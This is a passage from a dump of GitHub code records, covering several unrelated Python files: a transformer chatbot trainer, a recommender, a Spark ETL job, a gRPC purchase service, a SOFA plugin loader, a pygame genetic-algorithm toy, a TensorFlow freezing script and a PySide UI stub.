tf.keras.layers.Dense(units=vocab_size, name=\"outputs\")(dec_outputs)\r\n\t\r\n\treturn tf.keras.Model(inputs=[inputs, dec_inputs], outputs=outputs, name=name)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n\ttrain = True\r\n\tmodelLoad = False\r\n\ttest = True\r\n\r\n\tX, y = dp.readDatafile(os.path.join(dataset_dir, \"total_20_nAns.json\"))\r\n\r\n\tif test:\r\n\t\tX = X[0:100]\r\n\t\ty = y[0:100]\r\n\r\n\t# Define start and end token to indicate the start and end of a sentence\r\n\ttokenizer, START_TOKEN, END_TOKEN = dp.getStartAndEndTokens(X, y)\r\n\r\n\tVOCAB_SIZE = tokenizer.vocab_size + 2\r\n\r\n\tX, y = dp.tokenize_and_filter(X, y, tokenizer, START_TOKEN, END_TOKEN, MAX_LENGTH)\r\n\r\n\t# # For tf.data.Dataset\r\n\tBATCH_SIZE = 64 * strategy.num_replicas_in_sync\r\n\tBUFFER_SIZE = 20000\r\n\r\n\tEPOCHS = 1\r\n\t# Transform X, y into a tensor\r\n\tdataset = dp.getDatasetTensor(X, y, BUFFER_SIZE, BATCH_SIZE)\r\n\r\n\t# Train Generator\r\n\tNUM_LAYERS = 2\r\n\tD_MODEL = 256\r\n\tNUM_HEADS = 8\r\n\tUNITS = 512\r\n\tDROPOUT = 0.1\r\n\r\n\tmodel = transformer(\r\n\t\tvocab_size=VOCAB_SIZE,\r\n\t\tnum_layers=NUM_LAYERS,\r\n\t\tunits=UNITS,\r\n\t\td_model=D_MODEL,\r\n\t\tnum_heads=NUM_HEADS,\r\n\t\tdropout=DROPOUT)\r\n\r\n\tlearning_rate = CustomSchedule(D_MODEL)\r\n\r\n\toptimizer = tf.keras.optimizers.Adam(\r\n\t learning_rate= learning_rate, beta_1=0.9, beta_2=0.98, epsilon=1e-9)\r\n\r\n\tweightsfile = os.path.join(models_dir, \"weightsBest.hdf5\")\r\n\r\n\tif modelLoad:\r\n\t\tmodel.load_weights(weightsfile) \r\n\r\n\tmodel.compile(optimizer=optimizer, loss=loss_function, metrics=[accuracy])\r\n\r\n\tif train:\r\n\t\t# es = EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=patience) No se si meter early stopping\r\n\t\tcheckpoint = tf.keras.callbacks.ModelCheckpoint(weightsfile, monitor=\"loss\", mode=\"min\", save_best_only=True, save_weights_only=True, verbose=1)\r\n\t\thist = model.fit(dataset, epochs=EPOCHS, callbacks=[checkpoint])\r\n\t\tfname = os.path.join(results_dir, \"genTrainValues.csv\")\r\n\t\tpl.writeHistory(not modelLoad, fname, hist)\r\n\t\tpl.generateHistPlots(fname)\r\n\t\t\r\n\toutput = predict(model, \"what fictional villain would u kill if u had the chance to?\", tokenizer, START_TOKEN, END_TOKEN, MAX_LENGTH)\r\n\tprint(output)\r\n\toutput = predict(model, \"what song is stuck in your head?\", tokenizer, START_TOKEN, END_TOKEN, MAX_LENGTH)\r\n\tprint(output)\r\n\toutput = predict(model, \"What are your best fighting tips?\", tokenizer, START_TOKEN, END_TOKEN, MAX_LENGTH)\r\n\tprint(output)\r\n\r\n","repo_name":"SergioBravoMTU/transformerGAN","sub_path":"TransGAN/transformerGenerator.py","file_name":"transformerGenerator.py","file_ext":"py","file_size_in_byte":13835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24762795892","text":"import math\n\ndef euclidean_distance (X, Y):\n \"\"\"\n Measure similarity between X and Y using euclidean distance. \n \n Parameters\n ----------\n X: vector, shape (1, n_features)\n Y: vector, sahpe (1, n_features)\n\n Returns\n -------\n similarity: float\n \"\"\"\n\n sim = set() \n for f in X:\n if f in Y:\n sim.add(f)\n\n # if X and Y has no item in common\n if len(sim) == 0:\n return 0\n\n return 1 / (1 + sum((X[f] - Y[f]) ** 2 for f in sim))\n\ndef pearson_distance (X, Y):\n \"\"\"\n Measure similarity between X and Y using euclidean distance. \n \n Parameters\n ----------\n X: vector, shape (1, n_features)\n Y: vector, sahpe (1, n_features)\n\n Returns\n -------\n similarity: float\n \"\"\"\n\n sim = set() \n for f in X:\n if f in Y:\n sim.add(f)\n\n n = len(sim)\n\n if not n:\n return 0\n \n sum1 = sum(X[f] for f in sim)\n sum2 = sum(Y[f] for f in sim)\n \n sum1Sq = sum(X[f] * X[f] for f in sim)\n sum2Sq = sum(Y[f] * Y[f] for f in sim)\n\n pSum = sum (X[f] * Y[f] for f in sim)\n\n num = pSum - (sum1 * sum2 / n)\n den = math.sqrt((sum1Sq - sum1 * sum1 / n) * (sum2Sq - sum2 * sum2 / n))\n \n return 0 if den == 0 else num / den\n\ndef topMatches (data, sample, N, simFunc):\n \"\"\"\n Return top N samples that have highest similarity with the given sample \n \n Parameters\n ----------\n data: dictionary of M dictionaries \n sample: dictionary \n N: int, <= M\n simFunc: similarity measures (euclidean distantance or pearson distance)\n\n Returns\n -------\n scores[0:N]: top N samples with corresponding similarity scores \n \"\"\"\n\n scores = [] \n for key in data.keys():\n if key != sample:\n scores.append((simFunc(data[key], data[sample]), key))\n\n scores.sort(reverse=True)\n\n return scores[0 : N]\n\ndef getKey(item):\n return item[1]\n\ndef getRecommendation (data, sample, N=5, simFunc=pearson_distance):\n \"\"\"\n Compute the similarity between the sample and others in the dataset. \n Then, recommend items that have not been known by the sample.\n \n Parameters\n ----------\n data: dictionary of M dictionaries \n sample: dictionary \n N: int, <= M\n simFunc: similarity measures (euclidean distantance or pearson distance)\n\n Returns\n -------\n output: a list of recommended items with corresponding scores \n \"\"\"\n\n if N > len(data):\n raise ValueError('N must be smaller than or equal to sample size')\n\n matches = topMatches(data, sample, N, simFunc)\n\n totals = {}\n sim_sum = {}\n\n for other in matches:\n sim_score = other[0]\n name = other[1]\n\n for movie, rate in data[name].items():\n if movie not in data[sample]:\n if movie not in totals:\n totals[movie] = rate * sim_score\n sim_sum[movie] = sim_score\n else:\n totals[movie] += rate * sim_score\n sim_sum[movie] += sim_score\n\n output = []\n for key, value in totals.items():\n norm_score = totals[key] / sim_sum[key]\n output.append((key, norm_score))\n\n output.sort(reverse=True, key=getKey)\n\n return output\n\ndef transformDataSet(data):\n \"\"\"\n Transform dataset between user-based and item-based\n \n Parameters\n ----------\n data: original dataset, a dictionary of dictionaries \n\n Returns\n -------\n output: transformed dataset \n \"\"\"\n\n transformed = {}\n\n for key1 in data.keys():\n for key2, value in data[key1].items():\n if key2 not in transformed:\n transformed[key2] = {key1: value}\n else:\n transformed[key2][key1] = value\n\n return transformed\n\n\n\n\n\n","repo_name":"xinyuzhao/recommendation-CF","sub_path":"recommendation.py","file_name":"recommendation.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35420124063","text":"# Do all imports and installs here\nimport pandas as pd\n\nfrom pyspark.sql import SparkSession\nspark = SparkSession.builder.\\\nconfig(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n.getOrCreate()\n\nfrom pyspark.sql.functions import first\nfrom pyspark.sql.functions import upper, col\nfrom pyspark.sql.types import StructField, StructType, StringType, LongType, IntegerType\nfrom pyspark.sql.functions import udf, date_trunc, date_format\nimport datetime as dt\n\n# Read US Cities Demo dataset file\nus_spark=spark.read.csv(\"./data/us-cities-demographics.csv\", sep=';', header=True)\n\n# Creating 'us_race_cnt' dataset\nus_race_cnt=(us_spark.select(\"city\",\"state code\",\"Race\",\"count\")\n .groupby(us_spark.City, \"state code\")\n .pivot(\"Race\")\n .agg(first(\"Count\")))\n \nuscols=[\"Number of Veterans\",\"Race\",\"Count\"]\n# Drop columns we don't need and drop duplicate rows\nus=us_spark.drop(*uscols).dropDuplicates()\n\n# Finally saving (committing) joined US dataset\nus=us.join(us_race_cnt, [\"city\",\"state code\"])\n\n# Change `state code` column name to `state_code` and other similar problems to avoid parquet complications\nus=us.select('City', col('State Code').alias('State_Code'), 'State', col('Median Age').alias('Median_age'),\n col('Male Population').alias('Male_Pop'), col('Female Population').alias('Fem_Pop'), \n col('Total Population').alias('Ttl_Pop'), 'Foreign-born', \n col('Average Household Size').alias('Avg_Household_Size'),\n col('American Indian and Alaska Native').alias('Native_Pop'), \n col('Asian').alias('Asian_Pop'), \n col('Black or African-American').alias('Black_Pop'), \n col('Hispanic or Latino').alias('Latino_Pop'), \n col('White').alias('White_Pop'))\n \n# Drop the `state` column\nus=us.drop(\"state\")\n\n# Now write (and overwrite) transformed `US` dataset onto parquet file\nus.write.mode('overwrite').parquet(\"./data/us_cities_demographics.parquet\")\n\n# i94visa dim\n'''/* I94VISA - Visa codes collapsed into three categories:\n 1 = Business\n 2 = Pleasure\n 3 = Student\n*/'''\ni94visa_data = [[1, 'Business'], [2, 'Pleasure'], [3, 'Student']]\n\n# Convert to spark dataframe\ni94visa=spark.createDataFrame(i94visa_data)\n\n# Create parquet file\ni94visa.write.mode('overwrite').parquet('./data/i94visa.parquet')\n\n#i94res dim\n# Read i94res text file\ni94res_df = pd.read_csv('./data/i94res_cit.txt',sep='=',names=['id','country'])\n# Remove whitespaces and single quotes\ni94res_df['country']=i94res_df['country'].str.replace(\"'\",'').str.strip()\n# Convert pandas dataframe to list (objects which had single quotes removed automatically become string again with single quotes)\ni94res_data=i94res_df.values.tolist()\n\n# Now convert list to spark dataframe\n# Create a schema for the dataframe\ni94res_schema = StructType([\n StructField('id', StringType(), True),\n StructField('country', StringType(), True)\n])\ni94res=spark.createDataFrame(i94res_data, i94res_schema)\n\n# Create parquet file\ni94res.write.mode('overwrite').parquet('./data/i94res.parquet')\n\n'''\n/* I94MODE - There are missing values as well as not reported (9) */\n\t1 = 'Air'\n\t2 = 'Sea'\n\t3 = 'Land'\n\t9 = 'Not reported' ;\n'''\n# Create i94mode list\ni94mode_data =[[1,'Air'],[2,'Sea'],[3,'Land'],[9,'Not reported']]\n\n# Convert to spark dataframe\ni94mode=spark.createDataFrame(i94mode_data)\n\n# Create i94mode parquet file\ni94mode.write.mode(\"overwrite\").parquet('./data/i94mode.parquet')\n\n# Create `i94port` dimension table so we can use it to join to `i94non_immigrant_port_entry`:\n# Read i94port text file\ni94port_df = pd.read_csv('./data/i94port.txt',sep='=',names=['id','port'])\n\n# Remove whitespaces and single quotes\ni94port_df['id']=i94port_df['id'].str.strip().str.replace(\"'\",'')\n\n# Create two columns from i94port string: port_city and port_addr\n# also remove whitespaces and single quotes\ni94port_df['port_city'], i94port_df['port_state']=i94port_df['port'].str.strip().str.replace(\"'\",'').str.strip().str.split(',',1).str\n\n# Remove more whitespace from port_addr\ni94port_df['port_state']=i94port_df['port_state'].str.strip()\n\n# Drop port column and keep the two new columns: port_city and port_addr\ni94port_df.drop(columns =['port'], inplace = True)\n\n# Convert pandas dataframe to list (objects which had single quotes removed automatically become string again with single quotes)\ni94port_data=i94port_df.values.tolist()\n\n# Now convert list to spark dataframe\n# Create a schema for the dataframe\ni94port_schema = StructType([\n StructField('id', StringType(), True),\n StructField('port_city', StringType(), True),\n StructField('port_state', StringType(), True)\n])\ni94port=spark.createDataFrame(i94port_data, i94port_schema)\n\n# Create parquet file\ni94port.write.mode('overwrite').parquet('./data/i94port.parquet')\n\n# Read i94 non-immigration dataset\ni94_spark=spark.read.parquet(\"sas_data\")\n\n# Converted numbers to longtype and integrtype\ni94_spark=i94_spark.select(col(\"i94res\").cast(IntegerType()),col(\"i94port\"), \n col(\"arrdate\").cast(IntegerType()),\n col(\"i94mode\").cast(IntegerType()),col(\"depdate\").cast(IntegerType()),\n col(\"i94bir\").cast(IntegerType()),col(\"i94visa\").cast(IntegerType()), \n col(\"count\").cast(IntegerType()),\n \"gender\",col(\"admnum\").cast(LongType()))\n \n# We will drop duplicate rows for i94_spark\ni94_spark=i94_spark.dropDuplicates()\n\n# Add i94port city and state columns to i94 dataframe\ni94_spark=i94_spark.join(i94port, i94_spark.i94port==i94port.id, how='left')\n\n# Drop `id` column\ni94_spark=i94_spark.drop(\"id\")\n\n# Join US with i94_spark to get fact table `i94non_immigrant_port_entry`\n# NOTE: We use left join againt city records which may cause null values because\n# we may not currently have demographic stats on all U.S. ports of entry\ni94non_immigrant_port_entry=i94_spark.join(us, (upper(i94_spark.port_city)==upper(us.City)) & \\\n (upper(i94_spark.port_state)==upper(us.State_Code)), how='left')\n \n# Drop City and State_Code\ni94non_immigrant_port_entry=i94non_immigrant_port_entry.drop(\"City\",\"State_Code\")\n\n# Convert SAS arrival date to datetime format\nget_date = udf(lambda x: (dt.datetime(1960, 1, 1).date() + dt.timedelta(x)).isoformat() if x else None)\ni94non_immigrant_port_entry = i94non_immigrant_port_entry.withColumn(\"arrival_date\", get_date(i94non_immigrant_port_entry.arrdate))\n\ni94date=i94non_immigrant_port_entry.select(col('arrdate').alias('arrival_sasdate'),\n col('arrival_date').alias('arrival_iso_date'),\n date_format('arrival_date','M').alias('arrival_month'),\n date_format('arrival_date','E').alias('arrival_dayofweek'), \n date_format('arrival_date', 'y').alias('arrival_year'), \n date_format('arrival_date', 'd').alias('arrival_day'),\n date_format('arrival_date','w').alias('arrival_weekofyear')).dropDuplicates()\n\n# Save to parquet file\ni94non_immigrant_port_entry.drop('arrival_date').write.mode(\"overwrite\").parquet('./data/i94non_immigrant_port_entry.parquet')\n\n# Add seasons to i94date dimension:\ni94date.createOrReplaceTempView(\"i94date_table\")\ni94date_season=spark.sql('''select arrival_sasdate,\n arrival_iso_date,\n arrival_month,\n arrival_dayofweek,\n arrival_year,\n arrival_day,\n arrival_weekofyear,\n CASE WHEN arrival_month IN (12, 1, 2) THEN 'winter' \n WHEN arrival_month IN (3, 4, 5) THEN 'spring' \n WHEN arrival_month IN (6, 7, 8) THEN 'summer' \n ELSE 'autumn' \n END AS date_season from i94date_table''')\n\n# Save i94date dimension to parquet file partitioned by year and month:\ni94date_season.write.mode(\"overwrite\").partitionBy(\"arrival_year\", \"arrival_month\").parquet('./data/i94date.parquet')","repo_name":"paul-data-science/Udacity_Data_Engineering_Capstone","sub_path":"ETL.py","file_name":"ETL.py","file_ext":"py","file_size_in_byte":8312,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"20081262398","text":"import logging\nimport asyncio\nimport grpc\nimport urllib.request\nimport functools\nimport random\nimport json\nimport http.client\n\nfrom os import getenv\nimport aioredis\n\nfrom src import purchase_pb2\nfrom src import purchase_pb2_grpc\n\nclass Greeter(purchase_pb2_grpc.GreeterServicer):\n\n async def Purchase(self, request: purchase_pb2.PurchaseRequest,\n context: grpc.aio.ServicerContext\n ) -> purchase_pb2.PurchaseReply:\n if await should_be_error():\n context.set_code(grpc.StatusCode.INTERNAL)\n context.set_details('Smth happened!')\n return purchase_pb2.Response()\n\n call_to_paypal()\n\n return purchase_pb2.PurchaseReply(message='Success, %s!' % request.card)\n\ndef call_to_paypal():\n if random.random() > 0.95:\n conn = http.client.HTTPSConnection('paypal.com', 443)\n conn.request('GET', '/')\n conn.getresponse().read()\n\nasync def errors_probabolity(redis):\n \"\"\"\n Получение списка провайдеров из Redis\n :param redis: объект подключения к редису\n :return: список провайдеров\n \"\"\"\n return {k: json.loads(v) for k, v in (await redis.hgetall('list-of-teams', encoding='utf-8')).items()}\n\nasync def should_be_error():\n url = f'{getenv(\"MAIN_BACKEND_HOST\")}/api/v1/config/card_service'\n response = urllib.request.urlopen(url).read()\n rate = json.loads(response)['rate']\n\n if rate is not None and rate != '':\n return random.randint(0, 100) < float(rate)\n else:\n return false\n\nasync def serve() -> None:\n server = grpc.aio.server()\n purchase_pb2_grpc.add_GreeterServicer_to_server(Greeter(), server)\n listen_addr = f'[::]:{getenv(\"SERVICE_PORT\")}'\n server.add_insecure_port(listen_addr)\n logging.info(\"Starting server on %s\", listen_addr)\n await server.start()\n try:\n await server.wait_for_termination()\n except KeyboardInterrupt:\n # Shuts down the server with 0 seconds of grace period. During the\n # grace period, the server won't accept new connections and allow\n # existing RPCs to continue within the grace period.\n await server.stop(0)\n\nif __name__ == '__main__':\n asyncio.run(serve())\n","repo_name":"konstantin8022/devtool","sub_path":"card_service-main/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37557821338","text":"\"\"\"\nThis module is a wrapper of ISSofaPython, especially allowing to run scenes\ndirectly using the python executable instead of runSofa.\n\"\"\"\nimport os\nimport sys\nimport errno\n\nimport __main__\n\n# Import/determine some handy global variables to make them available from everywhere\n# (especially to be able to determine the path to built binaries like runSofa).\n# The root directory of the project\nPROJECT_ROOT_DIR = None\n# Whether we are in a packaged bundle context, or in a classic development\n# environement with a build tree\nIS_PACKAGED = None\n# Directory of the binaries (where the runSofa executable resides).\nBIN_DIR = None\ntry:\n from sitecustomize import PROJECT_ROOT_DIR, IS_PACKAGED, BIN_JSON_FILE_PATH\n if BIN_JSON_FILE_PATH:\n import json\n with open(BIN_JSON_FILE_PATH) as f:\n BIN_DIR = os.path.abspath(os.path.join(PROJECT_ROOT_DIR, json.load(f)['binary_dir']))\nexcept Exception as err:\n print('Error trying to update sofa.PROJECT_ROOT_DIR / IS_PACKAGED / BIN_DIR vars: %r',\n err)\n\nIS_WIN = sys.platform.startswith('win')\n\n# Set the proper directory for the plugins before loading ISSofaPython\n# (even if it is not needed when using runSofa)\nif 'SOFA_PLUGIN_PATH' not in os.environ:\n os.environ['SOFA_PLUGIN_PATH'] = (os.path.join(os.path.abspath(sys.prefix)) if IS_WIN\n else os.path.join(os.path.abspath(sys.prefix), 'lib'))\n\nfrom ISSofaPython import *\n\ndef find_sofaenv_file():\n sofaenv_found = False\n sofaenv_path = None\n\n parent_level = 0\n reldir = '.'\n python_dir = os.path.dirname(os.path.abspath(os.__file__))\n while parent_level < 4 and not sofaenv_found:\n sofaenv_path = os.path.join(python_dir, reldir, \"sofa.env\")\n sofaenv_found = os.path.exists(sofaenv_path)\n reldir = os.path.join(reldir, '..')\n parent_level += 1\n\n if sofaenv_path is None:\n raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), \"sofa.env\")\n \n return sofaenv_path\n\ndef read_sofaenv_file(sofaenv_path):\n fsofaenv = open(sofaenv_path, \"r\")\n for line in fsofaenv:\n if line[0] != '#':\n variable, value = line.split('=')\n value = value.rstrip()\n if variable == \"SOFA_PRELOAD\":\n try:\n loadPlugin(value)\n except (RuntimeError, ValueError) as exc:\n print('Could not load the %r plugin: %s' % (value, exc))\n fsofaenv.close()\n\n# Load plugins declared in sofa.env with SOFA_PRELOAD\nsofaenv_path = find_sofaenv_file()\nread_sofaenv_file(sofaenv_path)\n\nif hasattr(__main__, '__file__'): # if the module was imported from a script run with Python (i.e. without involving runSofa)\n # Add the scene directory to Sofa data path\n file_dir = os.path.dirname(os.path.realpath(__main__.__file__))\n addDataPath(file_dir)\n\n# Hook functions can (optionally) be registered in the following dict, for e.g.\n#\n# import sofa\n# sofa.HOOKS['createChild'] = lambda node: print('New node %r created!' % node.getName())\n#\n# ('createChild' is the only avaiable hook, and we will certainly never add other)\nHOOKS = {}\n","repo_name":"InSimo/ISSofaPython","sub_path":"python/sofa/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3615643435","text":"from math import sqrt\nfrom statistics import median\nimport pygame, random\n\npygame.init()\n\npygame.display.init()\n\nwidth=int(1200)\nheight=int(600)\n\nOrange=(255, 95, 0)\nRed=(255, 0, 0)\nBlack=(0, 0, 0)\n\nX=800\nY=int(600/2)\n\n# MoveX=100\n# MoveY=700\n\nscreen = pygame.display.set_mode((width, height)) #, depth=0, flags=pygame.FULLSCREEN)\nscreen.fill(Black)\n\nResults={}\n# Actions=[]\n\n\nclass Object():\n def __init__(self):\n self.MoveX = 100\n self.MoveY = 500\n self.Action = []\n self.Done = False\n self.fitness = 0\n self.moves=0\n self.possible_moves=[\"right\", \"left\", \"up\", \"down\"]\n def right(self):\n oldFitness = self.calcFitness()\n self.MoveX += 20\n self.Action.append(\"right\")\n self.calcFitness()\n if self.fitness < oldFitness:\n self.possible_moves=[\"right\", \"up\", \"down\"]\n elif self.fitness > oldFitness:\n self.possible_moves=[\"left\", \"up\", \"down\"]\n self.moves += 1\n def left(self):\n oldFitness = self.calcFitness()\n self.MoveX -= 20\n self.Action.append(\"left\")\n self.calcFitness()\n if self.fitness < oldFitness:\n self.possible_moves=[\"left\", \"up\", \"down\"]\n elif self.fitness > oldFitness:\n self.possible_moves=[\"right\", \"up\", \"down\"]\n self.moves += 1\n def up(self):\n oldFitness = self.calcFitness()\n self.MoveY += 20\n self.Action.append(\"up\")\n self.calcFitness()\n if self.fitness < oldFitness:\n self.possible_moves=[\"right\", \"left\", \"up\"]\n elif self.fitness > oldFitness:\n self.possible_moves=[\"right\", \"left\", \"down\"]\n self.moves += 1\n def down(self):\n oldFitness = self.calcFitness()\n self.MoveY -= 20\n self.Action.append(\"down\")\n self.calcFitness()\n if self.fitness < oldFitness:\n self.possible_moves=[\"right\", \"left\", \"down\"]\n elif self.fitness > oldFitness:\n self.possible_moves=[\"right\", \"left\", \"up\"]\n self.moves += 1\n def random(self):\n for i in range(60):\n vary = random.randint(0, len(self.possible_moves)-1)\n if self.moves < 60:\n if self.possible_moves[vary] == \"right\":\n self.right()\n if self.possible_moves[vary] == \"left\":\n self.left()\n if self.possible_moves[vary] == \"up\":\n self.up()\n if self.possible_moves[vary] == \"down\":\n self.down()\n def calcFitness(self):\n self.fitness = abs(sqrt((dots[dotname].MoveX - X)**2 + (dots[dotname].MoveY - Y)**2))\n return abs(sqrt((dots[dotname].MoveX - X)**2 + (dots[dotname].MoveY - Y)**2))\n def copy(self, copyObject):\n for i in copyObject.Action:\n if i == \"up\":\n self.MoveY += 20\n self.Action.append(\"up\")\n elif i == \"down\":\n self.MoveY -= 20\n self.Action.append(\"down\")\n elif i == \"right\":\n self.MoveX += 20\n self.Action.append(\"right\")\n elif i == \"left\":\n self.MoveX -= 20\n self.Action.append(\"left\")\n self.calcFitness()\n\ndots = {}\nfor i in range(100):\n dots[\"dot\"+str(i)] = Object()\n\ngenerationDone=False\ngenerationCounter=0\nhighestFitness=0\nfitnessLst = []\nradius=10\noldmousepos = (X, Y)\nwhile True:\n\n pygame.display.flip()\n screen.fill(Black)\n mousepos = pygame.mouse.get_pos()\n\n keys=list(dots.keys())\n for dotname in keys:\n if dotname == \"dot1\":\n if not dots[dotname].Done:\n highestFitness = dots[dotname].calcFitness()\n dots[dotname].MoveX = min(1200-radius, max(radius, dots[dotname].MoveX))\n dots[dotname].MoveY = min(600-radius, max(radius, dots[dotname].MoveY))\n # fitness=abs(dots[dotname].MoveX - X) + abs(dots[dotname].MoveY - Y)\n pygame.draw.circle(screen, Orange, (dots[dotname].MoveX, dots[dotname].MoveY), radius)\n if not dots[dotname].Done:\n dots[dotname].random()\n dots[dotname].Done = True\n generationDone=True\n generationCounter += 1\n dots[dotname].calcFitness()\n fitnessLst.append(dots[dotname].fitness)\n if dots[dotname].fitness < highestFitness:\n highestFitness = dots[dotname].calcFitness()\n fitnessLst.sort()\n fitnessMedian = median(fitnessLst)\n if generationDone:\n for d in keys:\n generationDone=False\n if dots[d].fitness > fitnessMedian:\n if len(dots) > 3:\n del dots[d]\n for dotname in keys:\n if dotname in list(dots.keys()):\n if dots[dotname].fitness == highestFitness:\n newdot = Object()\n dots[\"dot\" + str(list(dots.keys())[-1][-3])] = newdot.copy(dots[dotname])\n if generationCounter <= 20:\n if d in list(dots.keys()):\n dots[d].Done=False\n \n\n pygame.draw.circle(screen, Red, (mousepos), 50)\n pygame.draw.circle(screen, Red, (100, 500), 4)\n\n if abs(mousepos[0]-X) >= 50:\n generationDone=True\n generationCounter=0\n oldmousepos=mousepos\n elif abs(mousepos[1]-Y) >= 50:\n generationDone=True\n generationCounter=0\n oldmousepos=mousepos\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n print(highestFitness)\n pygame.quit()\n quit()\n if event.type == pygame.QUIT:\n print(highestFitness)\n pygame.quit()\n quit()","repo_name":"Samrocks58/coding-stuff","sub_path":"idk.py","file_name":"idk.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23787609119","text":"#%%\nimport tensorflow as tf\n\nmodel = tf.keras.models.load_model('oldModel2.h5')\n\n# Convert Keras model to ConcreteFunction\nfull_model = tf.function(lambda x: model(x))\nfull_model = full_model.get_concrete_function(\n tf.TensorSpec(model.inputs[0].shape, model.inputs[0].dtype))\n\n# Get frozen ConcreteFunction\nfrozen_func = tf.python.framework.convert_to_constants.convert_variables_to_constants_v2(full_model)\nfrozen_func.graph.as_graph_def()\n\nlayers = [op.name for op in frozen_func.graph.get_operations()]\nprint(\"-\" * 50)\nprint(\"Frozen model layers: \")\nfor layer in layers:\n print(layer)\n\nprint(\"-\" * 50)\nprint(\"Frozen model inputs: \")\nprint(frozen_func.inputs)\nprint(\"Frozen model outputs: \")\nprint(frozen_func.outputs)\n\n# Save frozen graph from frozen ConcreteFunction to hard drive\ntf.io.write_graph(graph_or_graph_def=frozen_func.graph,\n logdir=\"./frozen_models\",\n name=\"frozen_graph.pb\",\n as_text=False)\n\n# %%\n","repo_name":"hth945/pytest","sub_path":"tf/za/序列化/convTest2.2.py","file_name":"convTest2.2.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7090090385","text":"# -*- coding: utf-8 -*-\r\nfrom PySide import QtCore, QtGui\r\nimport sys\r\n\r\nclass Ui_Form(object):\r\n def setupUi(self, Form):\r\n Form.setObjectName(\"Form\")\r\n Form.resize(484, 399)\r\n\r\n self.buttonBox = QtGui.QDialogButtonBox(Form)\r\n self.buttonBox.setEnabled(True)\r\n self.buttonBox.setGeometry(QtCore.QRect(350, 20, 121, 161))\r\n\r\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.buttonBox.sizePolicy().hasHeightForWidth())\r\n\r\n self.buttonBox.setSizePolicy(sizePolicy)\r\n self.buttonBox.setAutoFillBackground(True)\r\n self.buttonBox.setOrientation(QtCore.Qt.Vertical)\r\n self.buttonBox.setStandardButtons(QtGui.QDialogButtonBox.Apply|QtGui.QDialogButtonBox.Cancel|QtGui.QDialogButtonBox.Ok)\r\n self.buttonBox.setCenterButtons(True)\r\n self.buttonBox.setObjectName(\"buttonBox\")\r\n\r\n self.groupBox = QtGui.QGroupBox(Form)\r\n self.groupBox.setGeometry(QtCore.QRect(10, 10, 331, 141))\r\n self.groupBox.setObjectName(\"groupBox\")\r\n\r\n self.spinBox = QtGui.QSpinBox(self.groupBox)\r\n self.spinBox.setGeometry(QtCore.QRect(100, 20, 81, 21))\r\n self.spinBox.setMinimum(8)\r\n self.spinBox.setMaximum(26)\r\n self.spinBox.setProperty(\"value\", 11)\r\n self.spinBox.setObjectName(\"spinBox\")\r\n\r\n self.label = QtGui.QLabel(self.groupBox)\r\n self.label.setGeometry(QtCore.QRect(20, 20, 71, 21))\r\n self.label.setObjectName(\"label\")\r\n\r\n self.groupBox_5 = QtGui.QGroupBox(self.groupBox)\r\n self.groupBox_5.setGeometry(QtCore.QRect(20, 50, 291, 91))\r\n self.groupBox_5.setObjectName(\"groupBox_5\")\r\n\r\n self.label_2 = QtGui.QLabel(self.groupBox_5)\r\n self.label_2.setGeometry(QtCore.QRect(20, 20, 251, 61))\r\n self.label_2.setObjectName(\"label_2\")\r\n\r\n self.groupBox_2 = QtGui.QGroupBox(Form)\r\n self.groupBox_2.setGeometry(QtCore.QRect(10, 160, 331, 61))\r\n self.groupBox_2.setObjectName(\"groupBox_2\")\r\n\r\n self.checkBox = QtGui.QCheckBox(self.groupBox_2)\r\n self.checkBox.setGeometry(QtCore.QRect(20, 20, 301, 31))\r\n self.checkBox.setObjectName(\"checkBox\")\r\n\r\n self.groupBox_3 = QtGui.QGroupBox(Form)\r\n self.groupBox_3.setGeometry(QtCore.QRect(10, 230, 331, 91))\r\n self.groupBox_3.setObjectName(\"groupBox_3\")\r\n\r\n self.checkBox_2 = QtGui.QCheckBox(self.groupBox_3)\r\n self.checkBox_2.setGeometry(QtCore.QRect(20, 60, 301, 17))\r\n self.checkBox_2.setChecked(True)\r\n self.checkBox_2.setObjectName(\"checkBox_2\")\r\n\r\n self.checkBox_3 = QtGui.QCheckBox(self.groupBox_3)\r\n self.checkBox_3.setGeometry(QtCore.QRect(20, 30, 301, 17))\r\n self.checkBox_3.setObjectName(\"checkBox_3\")\r\n\r\n self.groupBox_4 = QtGui.QGroupBox(Form)\r\n self.groupBox_4.setGeometry(QtCore.QRect(10, 330, 331, 61))\r\n self.groupBox_4.setObjectName(\"groupBox_4\")\r\n\r\n self.checkBox_4 = QtGui.QCheckBox(self.groupBox_4)\r\n self.checkBox_4.setGeometry(QtCore.QRect(20, 30, 301, 17))\r\n self.checkBox_4.setChecked(True)\r\n self.checkBox_4.setObjectName(\"checkBox_4\")\r\n\r\n self.pushButton = QtGui.QPushButton(Form)\r\n self.pushButton.setGeometry(QtCore.QRect(354, 360, 121, 23))\r\n self.pushButton.setObjectName(\"pushButton\")\r\n\r\n self.retranslateUi(Form)\r\n QtCore.QMetaObject.connectSlotsByName(Form)\r\n\r\n def retranslateUi(self, Form):\r\n 